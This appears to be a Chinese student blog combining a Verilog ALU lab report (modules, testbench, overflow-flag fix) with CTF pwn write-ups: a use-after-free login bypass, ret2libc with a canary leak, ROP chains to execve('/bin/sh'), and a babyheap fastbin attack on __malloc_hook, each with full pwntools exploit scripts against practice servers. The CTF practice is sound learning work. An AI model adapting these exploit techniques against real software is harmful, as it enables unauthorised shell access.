- 整体刷新率 = 1/20ms = 50Hz（避免人眼看到闪烁）

ALU_TOP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


`timescale 1ns / 1ps
module ALU_TOP(
 input clk, //50Mhz
 input [31:0] switch_reg, //切换的赋值对象
 input [2:0] button,//控制对象，AB以及ALU
 output [31:0] led, //led输出信号，低两位ZF OF
 output [7:0] seg_decode, //用数码管分组显示信号
 output [2:0] which, //数码管如何选择
 output enable, //使能信号
 input reset// 清0信号
 );
//ALU模块提供
reg [31:0] A_reg;
reg [31:0] B_reg;
reg [3:0] ALU_OP;

wire [31:0] F;
wire ZF;
wire OF;

ALU_FUN uut(
 .A(A_reg),
 .B(B_reg),
 .ALU_OP(ALU_OP),
 .F(F),
 .ZF(ZF),
 .OF(OF)
);

always @(posedge clk) begin
 if(reset) begin
 A_reg<=32'b0;
 B_reg<=32'b0;
 ALU_OP<=4'b0;
 end else begin
 if(button[2]) A_reg <= switch_reg;
 if(button[1]) B_reg <= switch_reg;
 if(button[0]) ALU_OP <= switch_reg[3:0];
 end
end

// 显示数据选择
wire [31:0] display_data =
 button[0] ? A_reg :
 button[1] ? B_reg :
 F;

// 数码管显示实例化
Display uut_display(
 .clk(clk),
 .data(display_data),
 .which(which),
 .enable(enable),
 .seg_decode(seg_decode)
);

assign led ={30'b0,OF,ZF}; //led输出标志位


endmodule

测试仿真设计

仿真程序源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


`timescale 1ns / 1ps

module ALU_Sim();
 reg [31:0] A, B;
 reg [3:0] ALU_OP;
 wire [31:0] F;
 wire ZF, OF;

 ALU_FUN uut (
 .A(A),
 .B(B),
 .ALU_OP(ALU_OP),
 .F(F),
 .ZF(ZF),
 .OF(OF)
 );

 // 每组两个数据进行测试任务
 task run(input [31:0] a, input [31:0] b, input [3:0] op, input [40*8-1:0] des);
 begin
 A = a; B = b; ALU_OP = op;
 #10;
 // $display("=== %s ===\n", des);
 $display("[-%35s A=%h, B=%h, OP=%b => F=%h, ZF=%b, OF=%b\n",des, A, B, ALU_OP, F, ZF, OF);
 end
 endtask


 initial begin
 $display("⬇⬇⬇ ALU simulations\n");

 // 1. ADD 加法测试
 run(32'h0000_0001, 32'h0000_0002, 4'b0000, "Basic Addition");
 run(32'h7FFF_FFFF, 32'h0000_0001, 4'b0000, "overflow case");
 run(32'hFFFFFFFF, 32'h0000_0001, 4'b0000, "result in 0");

 // 2. SUB 减法测试
 run(32'h0000_0003, 32'h0000_0002, 4'b1000, "basic subtraction");
 run(32'h8000_0000, 32'h0000_0001, 4'b1000, "overflow case");
 run(32'h0000_0001, 32'h0000_0001, 4'b1000, "result in 0");

 // 3. SLT 有符号比较
 run(32'hFFFF_FFFF, 32'h0000_0001, 4'b0010, "STL Test: -1 < 1");
 run(32'h0000_0002, 32'hFFFFFFFE, 4'b0010, "STL Test: 2 > -2");

 // 4. SLTU 无符号比较
 run(32'h0000_0001, 32'h0000_0002, 4'b0011, "SLTU Test: 1 < 2");
 run(32'hFFFF_FFFF, 32'h0FFFFFFF, 4'b0011, "SLTU Test: 0xfffffff?");

 // 5. SLL 左移
 run(32'h0000_0001, 32'h0000_0004, 4'b0001, "SLL Test: 1 << 4");
 run(32'h0000_FF00, 32'h0000_0008, 4'b0001, "SLL Test: 0xFF00 << 8");

 // 6. SRL 逻辑右移
 run(32'h0000_0080, 32'h0000_0002, 4'b0101, "SRL Test: >> 2");
 run(32'h8000_0000, 32'h0000_0003, 4'b0101, "SRL Test: high bit mask's right shift");

 // 7. SRA 算术右移
 run(32'hFFFF_FF00, 32'h0000_0008, 4'b1101, "SRA Test: -256>> 8");
 run(32'h7FFF_FF00, 32'h0000_0008, 4'b1101, "SRA Test: positive number >> 8");

 // 8. XOR 异或
 run(32'h0000_FF00, 32'h0000_00FF, 4'b0100, "XOR Test: FF00 ^ 00FF");
 run(32'hAAAA_AAAA, 32'hAAAA_AAAA, 4'b0100, "XOR Test: the same number xor -> 0");

 // 9. OR 和 AND
 run(32'h1234_5678, 32'hFFFF_0000, 4'b0110, "OR Test: all 1");
 run(32'h1234_5678, 32'h0000_FFFF, 4'b0111, "AND Test: keep low bits");

 // 10. INCA / INCB / OUTA / OUT0
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1001, "INCA Test: A+1");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1010, "OUTA Test: A");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1011, "INCB Test: B+1");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1100, "OUT0 Test: 0");

 // 11. 默认不动
 run(32'hDEAD_BEEF, 32'h1234_5678, 4'b1111, "DEFAULT Test: keep");

 $display("\n>>> 仿真结束");
 $finish;
 end


endmodule

这样的显示状态直接明了，也便于检测，我特地挑选了一些特殊的状态进行检测

仿真波形和结果

分析：

加法

基本加法如 1 + 2 = 3 正确执行，F=0x00000003，未溢出（OF=0）。
测试最大有符号数加 1（0x7FFFFFFF + 1）正确检测到溢出（OF=1），结果回绕为最小负数（F=0x80000000）表示溢出逻辑正确。
测试 -1 + 1 = 0（即 0xFFFFFFFF + 1 = 0x00000000）无溢出，零标志（ZF=1）设置正确。

减法（SUB）

基本减法如 3 - 2 = 1、1 - 1 = 0 等无符号溢出，溢出标志保持为 0（OF=0），零结果正确设置 ZF=1。
特别测试最小有符号数 -1（0x80000000 - 1）正确检测到溢出（OF=1），结果回绕为最大正数，说明减法溢出判断逻辑有效。

有符号比较（SLT）测试 -1 < 1 正确判为真，F=1；2 > -2 判为假，F=0。说明有符号比较功能正确
无符号比较（SLTU）

测试 1 < 2 判为真，F=1；0xFFFFFFFF > 0x0FFFFFFF 判为假，F=0。验证无符号比较可以使用。

逻辑左移（SLL）

测试 1 « 4 = 0x10，0xFF00 « 8 = 0x00FF0000，移位操作正确，未影响溢出标志位（OF=0）。

逻辑右移（SRL）

测试 0x80 » 2 = 0x20；以及高位为 1 的数右移后不填充符号位，逻辑右移功能可以使用。

算术右移（SRA）

测试 -256 » 8 = -1，保持符号位，验证算术右移左侧符号填充正确；正数右移结果也正确。

位运算（XOR / OR / AND）

XOR、OR、AND 运算结果匹配预期，例如相同数异或为 0，或全 1，可以正常使用，零标志设置正确。

特殊操作（INCA / INCB / OUTA / OUT0）

A+1 与 B+1 功能正确，输出当前 A、B、零值等操作符合预设功能规格。

默认操作（DEFAULT）

默认 ALU_OP 0xF 情况下输出始终为 0，可以正常保存之前的状态。

状态位总结

零标志（ZF）能在结果为0时准确置为1，否则为0。
溢出标志（OF）仅在 ADD、SUB 的符号范围越界时置为1，其他操作保持为0

RTL电路图

顶层模块(直接用老师给的了)

RTL视图（ALU_TOP)

管脚约束

1. **管脚约束说明（输入输出变量的I/O管脚需求分析，及板级硬件资源配置理由）

将button[2:0]部分约束到提供的八个按钮的左竖列上：R4 AB6 V8
左竖列最后一个按钮设置复位信号RESET: V9
3:8译码器以及数码管部分的输入输出参照辅助实验数码管动态扫描实验

led部分选取板子左上32位led部分

实验分析

实验结论

可以正确实现ALU多路运算器的功能并在烧录的HDU-XL-01板上显示ABF、以及运算的结果和OF ZF符号，并为之后实现更加完善的RISC-V相关ALU运算器拓展做好准备

出现的问题和解决方案

在一开始进行实验仿真的时候出现了OF不符合预期的结果，并且将8000_0000-0000_0001应为溢出的情况（即负数0-1）判定为了无溢出的错误情况，同时sub减法出现了OF在未溢出也出现0的情况
assign OF = (ALU_OP == 4'b0000 || ALU_OP == 4'b1000) ? (A[31] ^ B[31] ^ F[31] ^ C32) : 1'b0;

经过测试发现这个逻辑在加法和减法下的使用是不同的，我们在判定补码规则时，A与B符号相异要再写一个判断逻辑，改为

1
2
3
4
5
6
7


assign OF = (ALU_OP == 4'b0000) ?  // ADD overflow

               ((A[31] == B[31]) && (F[31] != A[31])) :

             (ALU_OP == 4'b1000) ?  // SUB overflow

               ((A[31] != B[31]) && (F[31] != A[31])) :1'b0;

溢出符号可正常使用

思考与拓展部分

对于加法运算，当输入测试数据 A=0FFFFH，B=1H 时，该组数据相加产生什么结果？请考虑，无符号加和有符号加，这两种情况下运算器硬件操作上有区别吗？无符号数和有符号数是怎样识别的呢？

首先进行加法后会变为10000H；
在无符号加法角度是合法的，而有符号加法角度则因为符号位反转导致数字变为了范围外的负数，因此导致了溢出

在运算器硬件上操作时，加减法都采用统一的补码计算，而无符号和有符号所看的就是最高位C32，而通常我们会根据运算数标志位判断是否有符号

仔细研究 RV32I 的核心指令集，结合本实验所实现的多功能 ALU，分析该 ALU 能否实现 RV32I 核心指令集的所有指令？如果不能，请分析它还需要哪些运算功能

RV32I指令可分以上几类：算术指令逻辑指令移位指令和比较指令；

我们已经实现了大部分的需求指令，但是还缺失一部分关键指令：

相等判断指令如 EQ=(A==B)
分支指令BEQ BNE BLT等
内存访问指令，如load store指令等

实验中的 ALU 实现了逻辑左移操作 sll，请考虑逻辑右移操作如何实现？考虑为何 RV32I 指令系统中没有算术左移指令

1

逻辑右移：F = A >> B[4:0];  // 无符号逻辑右移

因为我们使用的计算系统为补码系统，逻辑左移和算术左移并不会产生冲突，因为低位的数会补充到高位进行符号填充，左移只是位移位、不干涉符号处理，并不会出现符号位的填充需求（右移因为产生了符号位的空出，如果不确定算术右移还是符号右移便会产生空缺

80X86CPU 除了 ZF 和 OF，还有其他标志位，试理解 80X86 的 3 个标志位 SF、CF 和 PF 的作用和逻辑，将这 3 个标志位实现到 RV32I 的多功能 ALU 中，并完成板级调试。

（1） SF：符号标志，运算结果为负数，则 SF=1；结果为正数，则 SF=0。实际上，在计算机中定点整数（integer）是使用补码表示并进行计算的，因此，符号位 SF 就是结果的最高位，即 SF=F[31]。

（2） PF：奇偶标志，运算结果中有偶数个“1”，则 PF=1；有奇数个“1”，则 PF=0。

（3） CF：进位/借位标志，它对无符号数运算有效。当进行加法运算时，当做进位标志，表明无符号运算发生溢出，此时 C32=1，则 CF=1；C32=0，则 CF=0；当进行减法运算时，当做借位标志，表明不够减，此时 C32=1，则 CF=0；C32=0，则 CF=1。

在ALU_FUN模块中添加了SF PF CF的计算，先进行导入

1
2
3


output SF,  
output CF,  
output PF

然后添加三个的计算逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


// Sign flag
assign SF = F[31];        

// Carry Flag（CF），无符号m用于进位/借位判断：
assign CF = (ALU_OP == 4'b0000) ? C32 : // 加法：直接用第33位进位判断
 (ALU_OP == 4'b1000) ? ~C32 : // 减法：借位时进位位是0，因此取反
 1'b0; // 无进位

// parity flag(PF)： 1 的数量为偶数PF=1，否则=0
assign PF = ~(^F); // F自己从31到0每一位进行异或后，如果有偶数个1就会归为0,再取反为1

修改仿真文件进行测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


`timescale 1ns / 1ps

module ALU_Sim();
 reg [31:0] A, B;
 reg [3:0] ALU_OP;
 wire [31:0] F;
 wire ZF, OF,SF,CF,PF;

 ALU_FUN uut (
 .A(A),
 .B(B),
 .ALU_OP(ALU_OP),
 .F(F),
 .ZF(ZF),
 .OF(OF),
 .SF(SF),
 .CF(CF),
 .PF(PF)
 );

 // 每组两个数据进行测试任务
 task run(input [31:0] a, input [31:0] b, input [3:0] op, input [40*8-1:0] des);
 begin
 A = a; B = b; ALU_OP = op;
 #10;
 // $display("=== %s ===\n", des);
 $display("[-%35s A=%h, B=%h, OP=%b => F=%h | ZF=%b OF=%b SF=%b CF=%b PF=%b",
 des, A, B, ALU_OP, F, ZF, OF, SF, CF, PF);
 end
 endtask


 initial begin
 $display("⬇⬇⬇ ALU simulations\n");

 // 1. ADD 加法测试
 run(32'h0000_0001, 32'h0000_0002, 4'b0000, "Basic Addition");
 run(32'h7FFF_FFFF, 32'h0000_0001, 4'b0000, "overflow case");
 run(32'hFFFFFFFF, 32'h0000_0001, 4'b0000, "result in 0");

 // 2. SUB 减法测试
 run(32'h0000_0003, 32'h0000_0002, 4'b1000, "basic subtraction");
 run(32'h8000_0000, 32'h0000_0001, 4'b1000, "overflow case");
 run(32'h0000_0001, 32'h0000_0001, 4'b1000, "result in 0");

 // 3. SLT 有符号比较
 run(32'hFFFF_FFFF, 32'h0000_0001, 4'b0010, "STL Test: -1 < 1");
 run(32'h0000_0002, 32'hFFFFFFFE, 4'b0010, "STL Test: 2 > -2");

 // 4. SLTU 无符号比较
 run(32'h0000_0001, 32'h0000_0002, 4'b0011, "SLTU Test: 1 < 2");
 run(32'hFFFF_FFFF, 32'h0FFFFFFF, 4'b0011, "SLTU Test: 0xfffffff?");

 // 5. SLL 左移
 run(32'h0000_0001, 32'h0000_0004, 4'b0001, "SLL Test: 1 << 4");
 run(32'h0000_FF00, 32'h0000_0008, 4'b0001, "SLL Test: 0xFF00 << 8");

 // 6. SRL 逻辑右移
 run(32'h0000_0080, 32'h0000_0002, 4'b0101, "SRL Test: >> 2");
 run(32'h8000_0000, 32'h0000_0003, 4'b0101, "SRL Test: high bit mask's right shift");

 // 7. SRA 算术右移
 run(32'hFFFF_FF00, 32'h0000_0008, 4'b1101, "SRA Test: -256>> 8");
 run(32'h7FFF_FF00, 32'h0000_0008, 4'b1101, "SRA Test: positive number >> 8");

 // 8. XOR 异或
 run(32'h0000_FF00, 32'h0000_00FF, 4'b0100, "XOR Test: FF00 ^ 00FF");
 run(32'hAAAA_AAAA, 32'hAAAA_AAAA, 4'b0100, "XOR Test: the same number xor 0");

 // 9. OR 和 AND
 run(32'h1234_5678, 32'hFFFF_0000, 4'b0110, "OR Test: all 1");
 run(32'h1234_5678, 32'h0000_FFFF, 4'b0111, "AND Test: keep low bits");

 // 10. INCA / INCB / OUTA / OUT0
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1001, "INCA Test: A+1");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1010, "OUTA Test: A");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1011, "INCB Test: B+1");
 run(32'hAAAA_AAAA, 32'h5555_5555, 4'b1100, "OUT0 Test: 0");

 // 11. 默认不动
 run(32'hDEAD_BEEF, 32'h1234_5678, 4'b1111, "DEFAULT Test: keep");

 $display("\n>>> 仿真结束");
 $finish;
 end


endmodule

波形检测和仿真都测试无误

记3.23下午一道培训题

Sat, 22 Mar 2025 16:34:00 +0000

学长说，欸👆🤗，要不你们周日来我这里吃个饭，然后。。。光注意有饭吃没注意到学长让我们带电脑，也就是说——做题，还好不难，学到一些东西，嘻嘻

分析

原文件

保护

main函数和菜单，我们要使uid为0同时账户为roo才能获取shell

sign_up和sign_in的逻辑大致理解后，我们要尝试
还原结构体 否则我们无法彻底理解用户和用户组成链表之间的关系 shift+f1进入结构体界面后，按下insert创建结构体，我们根据反编译逻辑进行构建，分别有两个结构体，一个是用户结构体，一个是连接各用户的链表结构体：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


typedef struct user{
 __int64 uid; #long
 char username[8];
 char password[8];
} user

typedef struct userlist{
 user* now_user;
 userlist* prev;
 userlist* next;
} userlist

逆向后

欸，我们发现一开始就有了一个root用户的节点，但很遗憾，无论如何我们都不可能用普通的手段使得uid为0的同时还存在一个节点，先看看逆完后其他函数的逻辑

观察上面三个函数，我们发现！ptr虽然释放掉了当前节点的指针和user，但是我在sign_up的时候，v4又把这个节点的指针分配回来了！

所以我们是否可以利用一些小手段，在申请的时候使其指向一个fake_user后使得这个user的UID就是0！这样我们在sign_up一个用户后sign_in时只要不空根据程序会从头遍历到尾去寻找对应的用户登录，在这个时候登录我们这个fake_user，那么就会直接system(/bin/sh)！ vmmap查看后我们决定在rodata区域中寻找一个可以作为fake_user的部分（你不可能在text这个饱和的代码段里找）

有了！这个地址处会通过0x40e3b8作为userlist的地址，然后0x4003d8就是user的地址，在这个user中UID就是0！

我们继续跟进查看，username和password都是0，那么就可以开始着手编写exp了！

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./usermgr")
# io=remote("",)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def sign_up(username,password):
 sla("> ","1")
 sa("username:",username)
 sa("password:",password)

def sign_in(username,password):
 sla("> ","2")
 sa("username:",username) #注意只能传8字节的话这里不要sla
 sa("password:",password)

def remove():
 sla("> ","3")

def get_shell():
 sla("> ","4")


fake_addr=p64(0x403eb8)

#pause()
sign_up(fake_addr,fake_addr)
sign_in(fake_addr,fake_addr)
remove()

sign_up("root","root")
sign_in(p64(0),p64(0))
get_shell()

io.interactive()

代码得多写写才行啊！

buuctf第二页（收录部分）

Sun, 09 Mar 2025 14:39:00 +0000

非堆题

mrctf2020_shellcode

ret2shellcode。但是附件看不了反汇编，要求直接读汇编代码

栈溢出不行直接发shellcode（好无聊的题）

bjdctf_2020_babyrop2

main中有gift和vuln函数

gift函数可输入6个字节

gdb开调，canary再rbp-0x8处，栈上则使第七个参数(8字节算)，填充完buf到canary

泄露出来刚好第六个位置为aa 覆盖完ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF('./1')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",27172)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ret=0x4005f9
pop_rdi=0x400993

ru("u!\n") #这里直接recv()竟然会出错
sl('%7$p')

canary=int(rc(18),16)
log.success('canary:'+hex(canary))
io.recv()

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['vuln'])
sl(payload)

text=io.recv()
puts_addr=u64(text.ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
sl(payload)
io.interactive()

inndy_rop——ropchain的利用与静态编译

静态编译

如图，程序在IDA打开后，左侧函数栏并没有红色部分（也就是系统调用函数！）所以一般这种静态编译的文件大小也会比一般pwn题大，既然没有调用库函数的话，那我们也没办法拿来ret2libc，用ropchain来构造rop链call system('/bin/sh')

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
io=remote("node5.buuoj.cn",28945)
p = b'a'*(12+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)
io.interactive()

事实上由于题目的输入限制都是有限的，所以ropchain无法使用，不过如果我们对ropchian简单的修改缩减或许就会有很大的帮助

cmcc_simplerop

也是一道静态编译题，但是空间不够大。需要简化ropchain或者直接系统调用，当然你迁移过去再搞ropchain也没问题(

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25288)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
int_80=0x080493e1
bss_buf=0x080EAF85
payload=flat([
 b'a'*0x20,
 p32(elf.sym['read']),
 p32(pop_edx_ecx_ebx),
 p32(0),
 p32(bss_buf),
 p32(0x200),
 p32(pop_eax),
 p32(0xb), #调用execve
 p32(pop_edx_ecx_ebx),
 p32(0)*2+p32(bss_buf),
 p32(int_80)])
io.recv()
sl(payload)
sl(b"/bin/sh\x00")
io.interactive()

pwnable_orw

保护

沙箱(secure computing)，orw可用

长这样，先prctl禁止提权（prctl宏定义可在prctl.h中看），然后限制orw，手写orw或用shellcraft的集成功能

堆题部分

babyheap_0ctf_2017 ♥

保护全开

菜单题

新增堆块, 可以自定义大小，不超过4096，申请成功将该区域置标记为1，v3根据v2大小获得一个指针，指向分配的堆空间

fill部分，用户根据需要提供修改的堆块的index和修改的size——但是size可以任意构造 free就是free，将使用位置标记改为0并申请空间释放，指针也指为0 dump函数会根据堆块index索引显示堆块内容，可以考虑泄露堆空间上内容

解题

patchelf

由于本地glibc版本过高，所以我们在做题之前要同步一下环境，不然fastbins会根据新glibc改为tcachebins

1
2


patchelf --add-needed ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 ./pwn
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 ./pwn

思路

unsortedbin在一个chunk被free后归入其中时，其表头会指向这个被free的chunk，chunk的fd指向之前被free的chunk，如果没有就会指回表头，
而我们这题我们要用到__malloc_hook，这东西在我们调用malloc创建新的堆块的时候便会调用
如果我们能够操控这个hook，通过call调用它的地址的时候，如果其中是system地址，就可以getshell 这题的环境是ubuntu16，__malloc_hook的函数地址偏移是固定的，我们通过main_arena、unsortedbin计算偏移最后就能得到，main_arena的确定得用到fastbin attack，

简单来说，free chunk通过单链表进行维护，如果在free后没有将指针置零的话，那么arena的bin头的fd指针会指向申请的chunk上的fd，如果我们可以操控这个指针指向的地址，那么chunk的fd指针就会指向目标地址！只要我们再次申请这个chunk块，bin头指针自然就指向这个目标地址了！

1
2
3
4
5


allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #3
free(1)

这样构造堆结构以后，呈现为fastbin->chunk1的结构

1
2


payload=cyclic(0x80+8)+p64(0x80+0x10+0x80+0x10+1)
fill(0,payload)

覆写chunk0 0x8覆写chunk1 prev_size
allocate(0x80+0x10+0x80)申请堆块，并且刚好到chunk2

然后我们改写chunk2的size，使得一部分可以进入到unsorted bin中（虽然这样会导致一部分溢出到chunk3中，但是问题不大）然后free(2)就可以获得指向main_arena的指针信息，通过dump(1)打印

之后打fastbin attack，通过改写malloc_hook指针指向one_gadget即可

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


from pwn import *
context(log_level='debug',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
#elf=ELF("./pwn")
libc=ELF("libc-2.23.so")
io=remote("node5.buuoj.cn",29971)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def allocate(size):
 sla("Command:",'1')
 sla("Size: ",str(size))

def fill(index,content):
 sla("Command:",'2')
 sla("Index: ",str(index))
 sla("Size: ",str(len(content)))
 sla('Content: ', content)

def free(index):
 sla("Command:",'3')
 sla("Index: ",str(index))

def dump(index):
 sla("Command:",'4')
 sla("Index: ",str(index))
 ru('Content: ')


##########################
# unsorted bin attack #
##########################

allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #4
free(1)

payload=b'a'*(0x80+8)+p64(0x80+0x10+0x80+0x10+1) #填充堆块并构建大堆块 0x8覆盖prev_size，并且+1表示上一个堆块正使用
fill(0,payload)
allocate(0x80+0x10+0x80) #申请堆块，1处释放堆块根据大小提供

payload=b'a'*(0x80+8)+p64((0x80+0x10+1)) #准备构建unsorted bin
fill(1,payload)
free(2) #free后由于上面塞入的0x80+0x10+1，free 的chunk2进入unsorted bin,又因为设置为1，fd/bk会指向固定的main_arena偏移处
dump(1)

rc(0x90+8) #content data部分
fd_addr=u64(rc(8))
log.success("fd_addr:"+hex(fd_addr))
main_arena_addr=fd_addr-0x58
malloc_hook_addr=main_arena_addr-0x10

libc_base=malloc_hook_addr-libc.sym['__malloc_hook']

allocate(0x80)
allocate(0x60)
allocate(0x60)

free(5)

#这一块我们正常覆写chunk4和chunk5的prev_size，
#然后改写fd指针指向到malloc_hook附近后，由于堆管理器的错误判断，我们幸运的可以获得这一个假的chunk，将bk指针修改为0后我们就可以合理地去通过分配这一块触发我们的one_gadget了
payload=b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0)
fill(4, payload)
allocate(0x60)
allocate(0x60)

#pause()
execve_bin_sh_addr = libc_base + 0x4526a

payload=b'a'*0x13+p64(execve_bin_sh_addr)

fill(6,payload)

allocate(0x10)

io.interactive()

[ZJCTF 2019]EasyHeap

保护

菜单题

